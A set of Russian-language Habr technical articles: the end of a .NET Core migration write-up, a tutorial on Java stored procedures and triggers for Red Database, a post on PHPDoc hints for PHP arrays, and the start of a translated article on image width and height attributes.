* ASP.NET Core внимателен к RFC. Это очень хорошая особенность, так как она способствует распространению передовой практики. Однако классические ASP.NET и .NET Framework были более снисходительны, что вызывает некоторые проблемы с обратной совместимостью:
* Веб-сервер по умолчанию разрешает только значения ASCII в заголовках HTTP. По нашей просьбе поддержка Latin1 была добавлена в IISHttpServer:<https://github.com/dotnet/aspnetcore/pull/22798>
* `HttpClient` на .NET Core раньше поддерживал только значения ASCII в HTTP-заголовках.
* Команда .NET Core добавила поддержку Latin1 в .NET Core 3.1: <https://github.com/dotnet/corefx/pull/42978>
* Возможность выбора схемы кодировки добавлена в .NET 5.0: [https://github.com/dotnet/runtime/issues/38711.](https://github.com/dotnet/runtime/issues/38711)
* Формы и cookies, не соответствующие RFC, приводят к исключениям при проверке. Поэтому мы создали "запасные" парсеры, используя классический исходный код ASP.NET, чтобы сохранить обратную совместимость для клиентов.
* В методе `FileBufferingReadStream`‘s `CopyToAsync()` наблюдалось снижение производительности из-за нескольких 1-байтовых копий n-байтового потока. Эта проблема решена в .NET 5.0 путем выбора размера буфера по умолчанию в 4K: <https://github.com/dotnet/aspnetcore/issues/24032.>
* Помните о классических причудах ASP.NET:
+ Автоматически тримятся (auto-trimmed) символы пробелов:
foo.com/oauth ?client=abc тримятся до foo.com/oauth?client=abc в классическом ASP.NET.
* С течением времени клиенты/даунстрим сервисы стали зависеть от этих тримов, а ASP.NET Core не выполняет автоматическтий триминг.
Поэтому нам пришлось убрать пробельные символы (auto-trim), чтобы имитировать классическое поведение ASP.NET.
* Заголовок `Content-Type` автоматически генерируется, если отсутствует тому:
Когда размер ответа больше нуля байт, но заголовок `Content-Type` отсутствует, классический ASP.NET генерирует стандартный заголовок `Content-Type:text/html`. ASP.NET Core не генерирует заголовок `Content-Type` по умолчанию принудительно, и клиенты, которые полагают, что заголовок `Content-Type` всегда появляется в ответе, начинают испытывать проблемы. Мы имитировали классическое поведение ASP.NET, добавив Content-Type по умолчанию, когда он отсутствует в нижестоящих службах.
#### Будущее
Переход на .NET Core привел к удвоению пропускной способности нашего сервиса, и это было отличное решение. Наше путешествие по .NET Core не закончится после перехода. В будущем мы рассматриваем следующие варианты:
* Обновление до .NET 5.0 [для повышения производительности.](https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-5/)
* Переход на Kestrel, чтобы мы могли перехватывать соединения на уровне TLS для повышения отказоустойчивости.
* Использовать компоненты/лучшие практики YARP (<https://microsoft.github.io/reverse-proxy/>) в нашем собственном обратном прокси и также внести свой вклад.
---
> Перевод материала подготовлен в рамках специализации [**"Network Engineer"**](https://otus.pw/8kDq/). Эта учебная программа подойдет тем, кто планирует с нуля освоить профессию сетевого инженера и подготовиться к прохождению промышленной сертификации CCNA.
>
> | https://habr.com/ru/post/561706/ | null | ru | null |
# Хранимые процедуры, функции и триггеры на Java
Всем привет! Сегодня мы расскажем о полезной возможности СУБД Ред База Данных - создании внешних подпрограмм, то есть процедур, функций и триггеров на языке Java. Например, язык PSQL не позволяет работать с объектами файловой системы или сети, а Java запросто решает такие задачи и существенно расширяет возможности встроенного языка.
### Настройка Java
СУБД Ред База Данных для работы с jar-файлами использует движок **FBJava**, который позволяет загружать и запускать подпрограммы на платформе Java не ниже версии 1.8.
Давайте установим более новую версию - 11.
```
sudo dnf install java-11-openjdk-devel
```
Теперь настроим параметры взаимодействия сервера СУБД Ред База Данных с виртуальной машиной Java с помощью конфигурационного файла **plugins.conf**, следующим образом:
1. Раскомментируем секции:
1. **Plugin=JAVA**
2. и **Config=JAVA\_config** в /opt/RedDatabase.
2. А также установим путь к Java в JavaHome.
1. **JavaHome = /usr/lib/jvm/jre-11**
Далее в файле конфигурации **fbjava.yaml** зададим путь к каталогу, где будут располагаться jar-файлы с методами, реализующие внешние подпрограммы. Можно указать для всех баз данных одновременно:
```
classpath:
- $(root)/jar/data/*.jar
```
Или для каждой отдельно:
```
databases:
".*/employee.fdb":
classpath:
- /home/rdb/jars/*.jar # путь до jar-файлов
```
### Объявление внешних подпрограмм
Для начала рассмотрим общие правила объявления внешних подпрограмм, реализованных с помощью Java-методов.
Для всех внешних объектов общим является обязательное указание места расположения Java-метода во внешнем модуле с помощью предложения **EXTERNAL NAME.**
Аргументом этого предложения является строка, в которой через разделитель указано имя внешнего модуля, имя программы внутри модуля и определенная пользователем информация. В предложении **ENGINE** указывается имя движка для обработки подключения внешних модулей, в нашем случае это **JAVA**:
```
EXTERNAL NAME '<полное имя класса>.<имя static метода>!(
[ [, ...]])'
[!<определяемая пользователем информация>]
ENGINE JAVA
```
Синтаксис операторов создания, изменения и пересоздания внешних подпрограмм, написанных на Java:
Создание/изменение/пересоздание триггера:
```
{CREATE [ OR ALTER ] | RECREATE | ALTER} TRIGGER <имя триггера> {
<объявление табличного триггера>
| <объявление табличного триггера в стандарте SQL-2003>
| <объявление триггера базы данных>
| <объявление DDL триггера> }
EXTERNAL NAME '<полное имя класса>.<имя static метода>!(
[ [, ...]])'
[!<определяемая пользователем информация>]
ENGINE JAVA
```
Создание/изменение/пересоздание процедуры:
```
{CREATE [ OR ALTER ] | RECREATE | ALTER} PROCEDURE <имя хранимой процедуры>
[(<входной параметр> [, <входной параметр> ...])]
[RETURNS (<выходной параметр> [, <выходной параметр> ...])]
EXTERNAL NAME '<полное имя класса>.<имя static метода>!(
[ [, ...]])'
[!<определяемая пользователем информация>]
ENGINE JAVA
```
Создание/изменение/пересоздание функции:
```
{CREATE [ OR ALTER ] | RECREATE | ALTER} FUNCTION <имя функции>
[(<входной параметр> [, <входной параметр> ...])]
RETURNS (<тип данных>)
EXTERNAL NAME '<полное имя класса>.<имя static метода>!(
[ [, ...]])'
[!<определяемая пользователем информация>]
ENGINE JAVA
```
Существует два основных способа сопоставить функции и процедуры базы данных с методами Java. Это фиксированные и обобщенные сигнатуры.
Фиксированные сигнатуры означают, что для каждого параметра программы (функции, процедуры) базы данных должен быть параметр в Java-методе.
А вот обобщенные сигнатуры не имеют параметров. Java-код с помощью интерфейса контекстов может получить все параметры или значения полей, переданные программой базы данных.
Триггеры могут отображаться только с помощью обобщенных сигнатур.
### Соответствие типов Java типам SQL
| | |
| --- | --- |
| **Тип SQL** | **Тип Java** |
| NUMERIC | java.math.BigDecimal |
| DECIMAL | java.math.BigDecimal |
| SMALLINT | java.math.BigDecimal |
| INTEGER | java.math.BigDecimal |
| BIGINT | java.math.BigDecimal |
| FLOAT | java.lang.Float |
| DOUBLE PRECISION | java.lang.Double |
| CHAR | java.lang.String |
| VARCHAR | java.lang.String |
| BLOB | java.sql.Blob |
| DATE | java.sql.Date |
| TIME | java.sql.Time |
| TIMESTAMP | java.sql.Timestamp |
| BOOLEAN | java.lang.Boolean |
### Интерфейсы доступа к контексту подпрограмм
Рассмотрим доступ к контекстам подпрограмм, которые позволяют получить информацию о них. Для этого реализованы специальные интерфейсы, представленные в таблице ниже.
| | |
| --- | --- |
| **Интерфейс** | **Описание** |
| Context | Отражает информацию о подпрограммах базы данных. |
| CallableRoutineContext | Отражает контекст внешних процедур и функций. Наследуется от Context. |
| FunctionContext | Отражает контекст внешних функций. Наследуется от CallableRoutineContext. |
| ProcedureContext | Отражает контекст внешних процедур. Наследуется от CallableRoutineContext. |
| TriggerContext | Отражает контекст внешних триггеров. Наследуется от Context. |
| ExternalResultSet | Представляет ResultSet для внешних хранимых селективных процедур. |
| Values | Позволяет получать или устанавливать значения параметров у функций или процедур и полей у триггеров. |
| ValuesMetadata | Позволяет получать значения метаданных параметров функций или процедур и полей триггеров. Наследуется от java.sql.ParameterMetaData. |
| TriggerContext.Action | Перечисление (enum) для операций, вызвавших триггер. Наследуется от java.lang.Enum. |
| TriggerContext.Type | Перечисление (enum) для типа триггера. Наследуется от java.lang.Enum. |
#### Пример работы с внешними хранимыми процедурами, функциями и триггерами
Напишем несколько внешних подпрограмм на языке Java в среде разработки IntelliJ IDEA.
Создаем новый проект. Имя и расположение проекта выбираем любое, язык - Java, сборочная система - Maven, JDK - 11 версии. В **Advanced Setting** укажем группу (GroupId) **-** **ru.reddatabase.external** и **ArtifactId** **- ExternalJava**. Нажимаем создать проект.
Добавим в файл конфигурации **pom.xml** библиотеку, в которой указаны интерфейсы для доступа к контекстам подпрограмм.
```
ru.reddatabase
fbjava
1.1.18
system
/opt/RedDatabase/jar/fbjava-1.1.18.jar
```
После этого обновим проект.
### Работа с триггерами
Поработаем с триггерами. Создадим новый класс для их реализации и назовем его Triggers.
B нем создадим публичный статический метод, который будет использоваться, как тело внешнего триггера. В нём будет реализовано получение контекста триггера, старых и новых значений записи и изменение полей записи: числовые умножим на определенный коэффициент, к строковым добавим информацию с длиной вставляемой строки, а в последнее поле добавим информацию с метаданными триггера.
```
public static void saveContextTrigger() throws SQLException {
TriggerContext context = TriggerContext.get();
String action = context.getAction().toString();
ValuesMetadata fieldsM = context.getFieldsMetadata();
Values newValues = context.getNewValues();
Values oldValues = context.getOldValues();
String tableName = context.getTableName();
String type = context.getType().toString();
String nameInfo = context.getNameInfo();
String objectName = context.getObjectName();
String info = "";
info = info + "Действие: " + action + "\n";
info = info + "Таблица: " + tableName + "\n";
info = info + "Тип: " + type + "\n";
info = info + "Сохраненные метаданные: " + nameInfo + "\n";
info = info + "Имя объекта: " + objectName + "\n";
if (fieldsM != null) {
int count = fieldsM.getParameterCount();
for (int i = 1; i <= count - 1; ++i) {
info = info + "Имя поля: " + fieldsM.getName(i) + "\n";
info = info + "Класс поля: " + fieldsM.getJavaClass(i).toString() + "\n";
info = info + "Старое значение: " + (oldValues == null || oldValues.getObject(i) == null ? null : oldValues.getObject(i).toString()) + "\n";
info = info + "Новое значение: " + (newValues == null || newValues.getObject(i) == null ? null : newValues.getObject(i).toString()) + "\n";
if (newValues != null) {
Object obj = newValues.getObject(i);
if (obj == null)
newValues.setObject(i, null);
else if (obj instanceof java.math.BigDecimal) {
BigDecimal val = (BigDecimal) obj;
newValues.setObject(i, new BigDecimal(val.intValue() * -1));
}
else if (obj instanceof java.lang.Double)
newValues.setObject(i, (Double) obj * -2.0);
else if (obj instanceof java.lang.Float)
newValues.setObject(i, (Float) obj * -3.0);
else if (obj instanceof java.lang.Boolean)
newValues.setObject(i, !((Boolean) obj));
else if (obj instanceof java.sql.Date)
newValues.setObject(i, java.sql.Date.valueOf(LocalDateTime.now().toLocalDate()));
else if (obj instanceof java.sql.Time)
newValues.setObject(i, java.sql.Time.valueOf(LocalDateTime.now().toLocalTime()));
else if (obj instanceof java.sql.Timestamp)
newValues.setObject(i, java.sql.Timestamp.valueOf(LocalDateTime.now()));
else
newValues.setObject(i, obj.toString() + ". Длина строки: " + obj.toString().length());
info = info + "Новое значение установленное внешним триггером: "
+ (newValues.getObject(i) == null ? null : newValues.getObject(i).toString()) + "\n";
}
if (newValues != null)
newValues.setObject(count, info);
}
}
}
```
В этом примере мы получаем контекст триггера через интерфейс TriggerContext:
```
TriggerContext context = TriggerContext.get();
```
Информацию о событии, которое вызвало триггер, метаданные записи и объектах записи получаем вызовом следующих методов:
```
String action = context.getAction().toString();
ValuesMetadata fieldsM = context.getFieldsMetadata();
String tableName = context.getTableName();
String type = context.getType().toString();
Values newValues = context.getNewValues();
Values oldValues = context.getOldValues();
String nameInfo = context.getNameInfo();
String objectName = context.getObjectName();
```
Через объекты oldValues и newValues получаем старые значения записи и устанавливаем новые:
```
if (newValues != null) {}
```
Object obj = newValues.getObject - Получаем значение столбца, которое было добавлено в результате INSERT или UPDATE запроса;
newValues.setObject - Устанавливаем новое значение столбца.
После этого соберем проект.
Далее откроем терминал и скопируем собранную Jar-библиотеку в каталог data (/opt/RedDatabase/jar/data) следующей командой:
```
sudo cp ~/reddatabase/ExternalJava/target/ExternalJava-1.0-SNAPSHOT.jar /opt/RedDatabase/jar/data
```
Перезапустим сервер базы данных:
```
sudo service firebird restart
```
И теперь задействуем написанный код. Подключимся к тестовой базе данных, например к Employee, и создадим новую таблицу:
```
CREATE TABLE TRIGGER_CONTEXT (
ID BIGINT NOT NULL,
F_VCHAR VARCHAR(100) NOT NULL,
F_DOUBLE DOUBLE PRECISION NOT NULL,
F_TIMESTAMP TIMESTAMP NOT NULL,
INFO VARCHAR(16384),
CONSTRAINT PK_TRIGGER_CONTEXT PRIMARY KEY (ID)
);
```
Добавим внешний триггер. Мы хотим, чтобы триггер изменял данные до вставки в таблицу, поэтому создадим его с ключевым словом BEFORE и выполним скрипт.
```
CREATE OR ALTER TRIGGER EXTERNAL_TRIGGER_SAVE_CONTEXT
BEFORE DELETE OR INSERT OR UPDATE ON TRIGGER_CONTEXT
EXTERNAL NAME 'ru.reddatabase.external.Triggers.saveContextTrigger()'
ENGINE JAVA;
```
Теперь проверим его работу. Откроем таблицу и вставим строку:
```
INSERT INTO TRIGGER_CONTEXT(ID, F_VCHAR, F_DOUBLE, F_TIMESTAMP) VALUES (1, 'Уж небо осенью дышало...', 73.522, '01-01-2012 12:00');
```
Добавленные значения изменились.
А в поле INFO добавилась запись, сформированная внутри внешнего триггера:
При необходимости можно вывести информацию в файл. Создадим метод, который будет печатать информацию в файл:
```
public static void saveContextToFileTrigger() throws SQLException {
TriggerContext context = TriggerContext.get();
String action = context.getAction().toString();
ValuesMetadata fieldsM = context.getFieldsMetadata();
Values newValues = context.getNewValues();
Values oldValues = context.getOldValues();
String tableName = context.getTableName();
String type = context.getType().toString();
String nameInfo = context.getNameInfo();
String objectName = context.getObjectName();
String info = "";
info = info + "Действие: " + action + "\n";
info = info + "Таблица: " + tableName + "\n";
info = info + "Тип: " + type + "\n";
info = info + "Сохраненные метаданные: " + nameInfo + "\n";
info = info + "Имя объекта: " + objectName + "\n";
if (fieldsM != null) {
int count = fieldsM.getParameterCount();
for (int i = 1; i <= count - 1; ++i) {
info = info + "Имя поля: " + fieldsM.getName(i) + "\n";
info = info + "Класс поля: " + fieldsM.getJavaClass(i).toString() + "\n";
info = info + "Старое значение: " + (oldValues == null || oldValues.getObject(i) == null ? null : oldValues.getObject(i).toString()) + "\n";
info = info + "Новое значение: " + (newValues == null || newValues.getObject(i) == null ? null : newValues.getObject(i).toString()) + "\n";
if (newValues != null) {
PrintWriter writer = null;
try {
writer = new PrintWriter("/tmp/external_trigger.txt");
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
}
writer.println(info);
writer.close();
}
}
}
}
```
В этом примере мы получаем значения триггера через интерфейсы и выводим их в файл через объект PrintWriter:
```
if (newValues != null) {}
```
Проверим работу метода. Создадим внешний триггер:
```
CREATE OR ALTER TRIGGER EXTERNAL_TRIGGER_TO_FILE
BEFORE DELETE OR INSERT OR UPDATE ON TRIGGER_CONTEXT
EXTERNAL NAME 'ru.reddatabase.external.Triggers.saveContextToFileTrigger()'
ENGINE JAVA;
```
И выполним следующий запрос:
```
INSERT INTO TRIGGER_CONTEXT(ID, F_VCHAR, F_DOUBLE, F_TIMESTAMP) VALUES (2, 'Я помню чудное...', 29.12, '07-13-1999 13:51');
```
По пути, указанному в Java-коде, создался текстовый файл.
### Работа с внешними процедурами
Процедура более сложная конструкция, у нее могут быть входные и выходные параметры. В примере мы будем во входном параметре передавать имя Java-свойства, значение которого хотим получить в выходном параметре.
Создадим новый класс Procedures:
```
public static ExternalResultSet getPropertyProcedure(final String property, final String[] result) {
return new ExternalResultSet() {
boolean first = true;
public boolean fetch() throws Exception {
if (this.first) {
result[0] = System.getProperty(property.trim());
this.first = false;
return true;
} else {
return false;
}
}
};
}
```
Реализация тела внешней процедуры имеет фиксированный вид из-за указанных параметров в скобках. Входные параметры перечислены вначале, выходные - в конце и обязательно объявляются как массивы.
```
final String property, final String[] result.
```
Метод возвращает объект ExternalResultSet, реализующий доступ к получаемому набору данных. У него необходимо реализовать единственный метод fetch(), перемещающий набор к следующей записи. Метод fetch() будет вызываться до тех пор, пока возвращает значение true. Это позволяет процедуре возвращать больше одной записи.
Проверим работу. Соберем проект, скопируем собранную Jar-библиотеку в каталог data **(**/opt/RedDatabase/jar/data**)**:
```
sudo cp ~/reddatabase/ExternalJava/target/ExternalJava-1.0-SNAPSHOT.jar /opt/RedDatabase/jar/data
```
И перезапустим сервер:
```
sudo service firebird restart
```
Подключимся к тестовой базе данных и создадим внешнюю процедуру:
```
CREATE OR ALTER PROCEDURE EXTERNAL_PROCEDURE_PROPERTY(PROPERTY CHAR(50))
RETURNS (RESULT CHAR(150))
EXTERNAL NAME 'ru.reddatabase.external.Procedures.getPropertyProcedure(String, String[])'
ENGINE JAVA;
```
Узнаем значение переменной среды JAVA\_HOME, выполнив процедуру:
```
SELECT * FROM EXTERNAL_PROCEDURE_PROPERTY("java.home");
```
А теперь напишем процедуру, которая выведет список идентификаторов подключений к базе.
```
public static ExternalResultSet getAttachmentsProcedure(final int[] attId, final String[] attName) {
try {
return new ExternalResultSet() {
Connection con = DriverManager.getConnection("jdbc:default:connection:");
PreparedStatement statement = con.prepareStatement("select mon$attachment_id, mon$attachment_name from mon$attachments");
ResultSet resultSet = statement.executeQuery();
public boolean fetch() throws Exception {
if (resultSet.next()) {
attId[0] = resultSet.getInt(1);
attName[0] = resultSet.getString(2);
return true;
} else {
resultSet.close();
statement.close();
con.close();
return false;
}
}
};
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
```
Этот пример похож на предыдущий, также имеет фиксированный вид, но содержит выходные параметры (final int[] attId, final String[] attName).
В этом примере мы создали подключение в той же транзакции с помощью метода **DriverManager.getConnection()** с URL вида **jdbc:default:connection:**. Суть в том, что в этой же транзакции мы выполнили отдельный запрос, который вернул набор данных. Для получения доступа из java-метода к базе данных с отдельной транзакцией необходимо использовать URL вида **jdbc:new:connection:**.
Проверим работу Java-метода. Пересоберем библиотеку:
```
sudo cp ~/reddatabase/ExternalJava/target/ExternalJava-1.0-SNAPSHOT.jar /opt/RedDatabase/jar/data
```
И перезапустим сервер:
```
sudo service firebird restart
```
Теперь подключимся к тестовой базе данных и создадим внешнюю процедуру:
```
CREATE OR ALTER PROCEDURE EXTERNAL_PROCEDURE_ATTACHMENTS()
RETURNS (ID INTEGER, NAME CHAR(150))
EXTERNAL NAME 'ru.reddatabase.external.Procedures.getAttachmentsProcedure(int[], String[])'
ENGINE JAVA;
```
Проверим ее работу:
```
SELECT * FROM EXTERNAL_PROCEDURE_ATTACHMENTS;
```
Рассмотрим пример сопоставления через обобщенные сигнатуры. Создадим метод, в котором будем вызывать процедуру получения случайного числа, максимальное значение которого будет передано во входном параметре:
```
public static ExternalResultSet randomAdditionProcedure() {
try {
ProcedureContext context = ProcedureContext.get();
final ValuesMetadata inputMetadata = context.getInputMetadata();
final ValuesMetadata outputMetadata = context.getOutputMetadata();
final Values input = context.getInputValues();
final Values output = context.getOutputValues();
return new ExternalResultSet() {
Connection conDefault = DriverManager.getConnection("jdbc:default:connection:");
PreparedStatement attachments = conDefault.prepareStatement("select mon$attachment_id, mon$attachment_name from mon$attachments");
Connection conNew = DriverManager.getConnection("jdbc:new:connection:");
PreparedStatement rand = conNew.prepareStatement(
String.format("select cast(trunc(rand() * %d) as integer) from rdb$database", ((BigDecimal) input.getObject(1)).intValue()));
ResultSet rsAttachments = attachments.executeQuery();
public boolean fetch() throws Exception {
if (rsAttachments.next()) {
ResultSet rsRand = rand.executeQuery();
rsRand.next();
output.setObject(1, rsAttachments.getBigDecimal(1));
output.setObject(2, rsAttachments.getString(2));
output.setObject(3, String.format(
"Count of input parameters: '%d', " +
"Count of output parameters: '%d', " +
"Rand result: '%s', " +
"Attachment ID: '%s', " +
"Attachment name: '%s'",
inputMetadata.getParameterCount(),
outputMetadata.getParameterCount(),
rsRand.getBigDecimal(1).toString(),
rsAttachments.getBigDecimal(1).toString(),
rsAttachments.getString(2)));
rsRand.close();
return true;
} else {
rsAttachments.close();
attachments.close();
rand.close();
conDefault.close();
conNew.close();
return false;
}
}
};
} catch (SQLException e) {
throw new RuntimeException(e);
}
}
```
В этом методе доступ к входным и выходным параметрам осуществляется через интерфейс ProcedureContext**.**
```
ProcedureContext context = ProcedureContext.get();
```
Информацию о параметрах получаем через метаданные.
```
final ValuesMetadata inputMetadata = context.getInputMetadata();
final ValuesMetadata outputMetadata = context.getOutputMetadata();
```
А значения получаем с помощью getInputValues() и getOutputValues(). В примере вызывается процедура в автономной транзакции, которая создается открытием подключения с URL **jdbc:new:connection:.**
```
Connection conNew = DriverManager.getConnection("jdbc:new:connection:");
PreparedStatement rand = conNew.prepareStatement(
String.format("select cast(trunc(rand() * %d) as integer) from rdb$database", ((BigDecimal) input.getObject(1)).intValue()));
```
Метод fetch() возвращает true до тех пор, пока из набора данных rsAttachments не будут получены все строки. Значение, возвращенное функцией rand() добавляем в выходные значения.
Проверим работу процедуры:
```
CREATE OR ALTER PROCEDURE EXTERNAL_PROCEDURE_ADD_RAND("RANGE" INTEGER)
RETURNS (ID INTEGER, NAME CHAR(150), RESULT VARCHAR(500))
EXTERNAL NAME 'ru.reddatabase.external.Procedures.randomAdditionProcedure()'
ENGINE JAVA;
```
### Внешние функции
Рассмотрим внешние функции. Они похожи на процедуры, но возвращают только одно значение.
Напишем внешнюю функцию, которая вычисляет факториал числа, переданного в параметре.
Создадим класс Functions, в котором опишем метод, вычисляющий факториал:
```
public static long factorialFunction(int x) {
if ((x == 0) || (x == 1)) {
return 1;
} else {
long fact = 1;
for (int i = 1; i <= x; i++) {
fact = fact * i;
}
return fact;
}
}
```
В этом примере только 1 входной параметр X. Возвращаемый параметр не требует объявления массива и возвращается вызовом return fact.
Соберем проект, скопируем собранную Jar-библиотеку в каталог /opt/RedDatabase/jar/data**:**
```
sudo cp ~/reddatabase/ExternalJava/target/ExternalJava-1.0-SNAPSHOT.jar /opt/RedDatabase/jar/data
```
И перезапустим сервер:
```
sudo service firebird restart
```
Подключимся к тестовой БД и создадим внешнюю функцию.
```
CREATE OR ALTER FUNCTION EXTERNAL_FUNCTION_FACTORIAL(X INTEGER)
RETURNS BIGINT
EXTERNAL NAME 'ru.reddatabase.external.Functions.factorialFunction(int)'
ENGINE JAVA;
```
Вычислим факториал 7:
```
SELECT EXTERNAL_FUNCTION_FACTORIAL(7) FROM RDB$DATABASE;
```
При необходимости можно скачать файл из интернета.
Создадим метод в классе Functions, который позволит скачать файл и вернуть его в формате блоб.
```
public static Blob downloadFileFunction(String fileURL) {
SerialBlob blob = null;
try (BufferedInputStream in = new BufferedInputStream(new URL(fileURL).openStream())) {
byte[] dataBuffer = new byte[1024];
int bytesRead;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
while ((bytesRead = in.read(dataBuffer, 0, 1024)) != -1) {
baos.write(dataBuffer, 0, bytesRead);
}
blob = new SerialBlob(baos.toByteArray());
} catch (IOException | SQLException e) {
throw new RuntimeException(e);
}
return blob;
}
```
Создаем блоб SerialBlob.
```
blob = new SerialBlob(baos.toByteArray());
```
И возвращаем его как результат.
Собираем проект и копируем собранную Jar-библиотеку в каталог /opt/RedDatabase/jar/data:
```
sudo cp ~/reddatabase/ExternalJava/target/ExternalJava-1.0-SNAPSHOT.jar /opt/RedDatabase/jar/data
```
Перезапускаем сервер:
```
sudo service firebird restart
```
Подключимся к текстовой БД и создадим внешнюю функцию:
```
CREATE OR ALTER FUNCTION EXTERNAL_FUNCTION_DOWNLOAD_FILE(URL VARCHAR(255))
RETURNS BLOB
EXTERNAL NAME 'ru.reddatabase.external.Functions.downloadFileFunction(String)'
ENGINE JAVA;
```
Проверим работу функции и загрузим картинку в блоб:
```
SELECT EXTERNAL_FUNCTION_DOWNLOAD_FILE('https://reddatabase.ru/media/articles/%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0-10.jpg') FROM RDB$DATABASE;
```
### Заключение
Сегодня мы познакомились с разработкой внешних хранимых процедур, функций и триггеров на Java для СУБД Ред Базы Данных! | https://habr.com/ru/post/699732/ | null | ru | null |
# Как сделать объекты из массивов в PHP с подсказками?
Когда надоело запоминать ключи массивов и хочется пользоваться подсказками любимого редактора кода на помощь приходит PHPDoc и немного смекалки.
Недавно я очень близко познакомился с TypeScript и познал всю прелесть строгой типизации. Как же это приятно, когда редактор кода подсказывает тебе какие поля есть в объекте и что ты с ними можешь сделать!
### В чем проблема?
Я работаю с CMS Битрикс и приходится иметь дело с массивами разной формы и содержания, запоминать все ключи или искать их в документации. Это занимает драгоценное время.
**Решение:**
Первым делом на ум приходит использовать PHPDoc, но тут появляется проблема:
```
/**
* int[]
* array
* array
\*/
```
Нельзя прописать многомерный массив так, чтобы подсказывал редактор кода. Все найденные мной варианты не работают в VSCode и PhpStorm.
Недолго погуглив я нашёл вариант, который заработал только в VSCode.
```
/**
* @var array $arr $arr
* @var array $arr['fields']
* @var array $arr['fields']['fieldName']
* @var array $arr['fields']['fieldName']['name']
* @var array $arr['fields']['fieldName']['model']
* @var array $arr['fields'][fieldName]['width']
* @var array $arr['fields'][fieldName]['align']
* @var array $arr['fields'][fieldName]['format']
* @var array $arr['fields'][fieldName]['title']
* @var array $arr['fields'][fieldName]['desc']
* @var array $arr['fields'][fieldName]['readonly']
* @var array $arr['fields'][fieldName]['type']
* @var array $arr['fields'][fieldName]['options']
* @var array $arr['fields'][fieldName]['editor']
* @var array $arr['fields'][fieldName]['default']
**/
$arr = [
'fields' => [
'fieldName' => []
]
];
```
В таком случае среда подсказывает какой ключ можно выбрать:
Для PhpStorm есть плагин [deep-assoc-completion](https://github.com/klesun/deep-assoc-completion), он требует описания массива в определённом формате:
```
/**
* @var array $arr = [
* 'fields' => [ // Defines the feilds to be shown by scaffolding
* $anyKey => [
* 'name' => 'sale', // Overrides the field name (default is the array key)
* 'model' => string, // (optional) Overrides the model if the field is a belongsTo associated value.
* 'width' => '100px', // Defines the width of the field for paginate views. Examples are "100px" or "auto"
* 'align' => 'center', // Alignment types for paginate views (left, right, center)
* 'format' => 'nice', // Formatting options for paginate fields. Options include ('currency','nice','niceShort','timeAgoInWords' or a valid Date() format)
* 'title' => 'Sale', // Changes the field name shown in views.
* 'desc' => 'A deal another person that results in money', // The description shown in edit/create views.
* 'readonly' => false, // True prevents users from changing the value in edit/create forms.
* 'type' => 'password', // Defines the input type used by the Form helper
* 'options' => ['option1', 'option2'], // Defines a list of string options for drop down lists.
* 'editor' => false, // If set to True will show a WYSIWYG editor for this field.
* 'default' => '', // The default value for create forms.
* ],
* ],
* ]
*/
$arr=[
'fields' => [
'0' => [
'model' => 2
]
]
];
```
В таком случае среда подсказывает ключи:
Остаётся одна проблема, если мы хотим таких подсказок, нам нужно делать подобное описание в каждом файле, где есть наш массив. Особенно актуально для Битрикса.
**Моё решение:**
Редактор кода хорошо индексирует объекты, так почему бы нам не привести массив к объекту и описать его?! Но как описать объект без класса, ведь PHPDoc в этом тоже помощник?
Мы можем создать класс, в котором опишем все нужные нам поля. И вот наш редактор уже подсказывает нам.
Хорошо, а дальше? Многомерные массивы мы можем описать так же как описываем интерфейсы в TS. Либо выносим вложенный массив в отдельный класс:
Либо прописываем в конструкторе текущего класса:
Обратите внимание, конструктор делаем приватным, чтобы нам не мешался, а вложенному полю обязательно создаём описание. Но PHPStorm его не поймёт.
### Резюме
Вариант конечно запарный, но люди, пишущие на TS и так это уже давно делают. Если есть вариант получше, буду рад рассмотреть. И самое главное, смысл не в том, что так надо делать всегда, а в том, что если других вариантов нет (ограничены по времени и т.д. и т.п.), то можно применить эту технологию. | https://habr.com/ru/post/653091/ | null | ru | null |
# Задавать Height и Width для изображений снова важно
*Приветствую. Представляю вашему вниманию перевод статьи* [*«Setting Height And Width On Images Is Important Again»*](https://www.smashingmagazine.com/2020/03/setting-height-width-images-important-again/)*, опубликованной 9 марта 2020 года автором Barry Pollard*
Сторонники веб-оптимизаций часто советуют добавлять к изображениям атрибуты с размерами, что позволяет при отрисовке страницы оставлять нужное количество пространства ещё до загрузки самого изображения. Это позволяет избежать смещения раскладки страницы по мере загрузки изображений - что с недавних пор начал измерять Chrome в новой метрике [Cumulative Layout Shift (CLS)](https://web.dev/cls/).
Секрет, не так хорошо известный разработчикам, не являющимся заядлыми сторонниками веб-производительности, заключается в том, что до недавнего времени, как мы увидим ниже, во многих случаях это фактически не имело особого смысла. Однако, недавние изменения в мире CSS и их быстрое внедрение в браузерах снова делает добавление атрибутов `width` и `height` к тегу `![]()` полезным.
Почему добавление Width и Height было хорошим советом
-----------------------------------------------------
Рассмотрим пример:
```
Your title
==========
Introductory paragraph.
Lorem ipsum dolor sit amet, consectetur adipiscing elit…
```
Эта страница будет отрисовываться в два этапа: первый - после загрузки HTML, второй - после загрузки изображения. Но это может привести к тому, что после загрузки изображения и вычисления необходимого для его отображения пространства, содержимое, расположенное под ним, "прыгнет" вниз:
Подобные смещения раскладки доставляют существенные неудобства, особенно если пользователь к этому моменту уже начал, например, читать статью. После смещения он будет вынужден снова искать место, на котором остановился. Также это добавляет работы браузеру, вынуждая его пересчитывать всю раскладку страницы по мере загрузки каждого изображения. На страницах с большим количеством изображений это может существенно нагружать устройство.
Традиционным способом избежать этого была установка для тега `![]()` атрибутов `width` и `height`, чтобы ещё на этапе загрузки одного лишь HTML браузер мог выделить для изображений необходимое количество места. Сделаем это в следующем примере:
```
Your title
==========
Introductory paragraph.
Lorem ipsum dolor sit amet, consectetur…
```
В результате отрисовка страницы будет происходить так, как указано ниже. Пространство, необходимое изображению, выделяется ещё до его загрузки, а когда это происходит, раскладка страницы не смещается.
Кроме раздражающих пользователя скачков, необходимость многократно перерисовывать страницу также может приводить к существенному увеличению нагрузки на процессор. На приведённом ниже скриншоте отображены расчёты производительности, выполненные в браузере Chrome на сайте с галереей, содержащей около 100 изображений. Показатели слева были достигнуты при наличии атрибутов `width` и `height`, справа - при их отсутствии.
